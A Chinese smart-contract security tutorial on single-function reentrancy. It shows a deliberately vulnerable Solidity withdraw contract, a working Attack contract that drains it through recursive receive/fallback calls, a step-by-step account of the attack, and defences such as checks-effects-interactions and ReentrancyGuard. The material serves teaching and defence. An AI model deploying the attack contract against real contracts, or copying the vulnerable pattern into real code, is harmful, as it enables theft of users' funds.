10分钟智能合约：进阶实战-3.2.1 单函数重入

单函数重入 是智能合约中最经典、最基础的一类重入攻击。它指攻击者在同一笔交易中，通过外部调用递归地重新进入同一个合约的同一个函数，导致该函数的核心逻辑被多次执行，从而窃取资产或破坏合约状态。

核心原理

重入漏洞的根源在于函数对外部调用与自身状态更新的顺序错误 。

典型的脆弱模式是 "检查-交互-更新"（Checks-Interactions-After） ：

检查：验证调用者是否有权操作（如余额足够）。
交互：向调用者发送 ETH 或调用外部合约。
更新：修改合约内部状态（如扣减余额）。

问题：如果第 2 步"交互"是一个外部调用（例如 .call{value: amount}("")），该调用会触发接收方（攻击者合约）的 receive() 或 fallback() 函数。攻击者可以在回调函数中再次调用原合约的同一个提款函数。此时，函数第 1 步的"检查"仍然通过（因为原合约尚未更新状态），于是攻击者可以在状态更新前反复提取资金。

漏洞合约

见合约：ReEntrancy.sol

solidity 复制代码

// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

contract Reentrancy {
    mapping(address => uint256) public balances;

    constructor() payable {}

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 balance = balances[msg.sender];
        if (balance >= 1) {
            (bool success, ) = msg.sender.call{value: balance}("");
            require(success, "failed to transfer");
            balances[msg.sender] = 0;
        }
    }
}

contract Attack {
    Reentrancy public reentrancy;
    uint256 public constant AMOUNT = 1 ether;

    constructor(address _reentrancy) {
        reentrancy = Reentrancy(_reentrancy);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(reentrancy).balance >= AMOUNT) {
            reentrancy.withdraw();
        }
    }

    // Add this receive function
    receive() external payable {
        if (address(reentrancy).balance >= AMOUNT) {
            reentrancy.withdraw();
        }
    }

    function attack() public payable {
        require(msg.value >= AMOUNT);
        reentrancy.deposit{value: AMOUNT}();
        reentrancy.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

攻击过程：

attack() 先存款，余额为1 ETH。
调用 withdraw()，合约检查余额（≥1）→ 发送1 ETH → 攻击者收到ETH，触发receive() 。
在 receive() 中再次调用 withdraw()：此时balances[attacker]仍是1（未清零） ，检查通过，再次发送1 ETH。
重复，直到合约余额耗尽。

防御措施

✅ 检查-生效-交互模式（Checks-Effects-Interactions）

这是最根本的防御：永远先更新状态，再执行外部调用。

solidity

scss 复制代码

function withdraw() public {
    uint amount = balances[msg.sender];
    require(amount > 0, "Insufficient balance");

    // 先更新状态
    balances[msg.sender] = 0;

    // 再发送ETH
    (bool success, ) = msg.sender.call{value: amount}("");
    require(success, "Transfer failed");
}

✅ 重入锁

使用 OpenZeppelin 的 ReentrancyGuard，在函数执行期间锁定，防止重入。

solidity

csharp 复制代码

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract Safe is ReentrancyGuard {
    function withdraw() public nonReentrant {
        // 函数体，安全
    }
}

✅ 限制外部调用的 Gas

transfer() 和 send() 仅转发 2300 gas，不足以发起重入调用（已逐渐弃用，因某些合约需要更多gas接收）。

现代背景与趋势

原生资产转账 ：在以太坊中，call 是当前推荐的低级发送方式（灵活但需注意重入），开发者必须主动防御。
ERC-777 / ERC-721 钩子 ：代币转账可触发接收方合约的 tokensReceived()，也可能成为重入入口，需谨慎设计。
只读重入：即使不修改状态，也可能通过重入期间读取不一致的状态来攻击其他协议，需要更复杂的约束。

总结

单函数重入是智能合约安全第一课 。它简单直接，但危害巨大。理解它，就能理解重入攻击的本质------错误地将外部调用置于状态更新之前 。防御的核心策略始终是：先写后读，先存后转。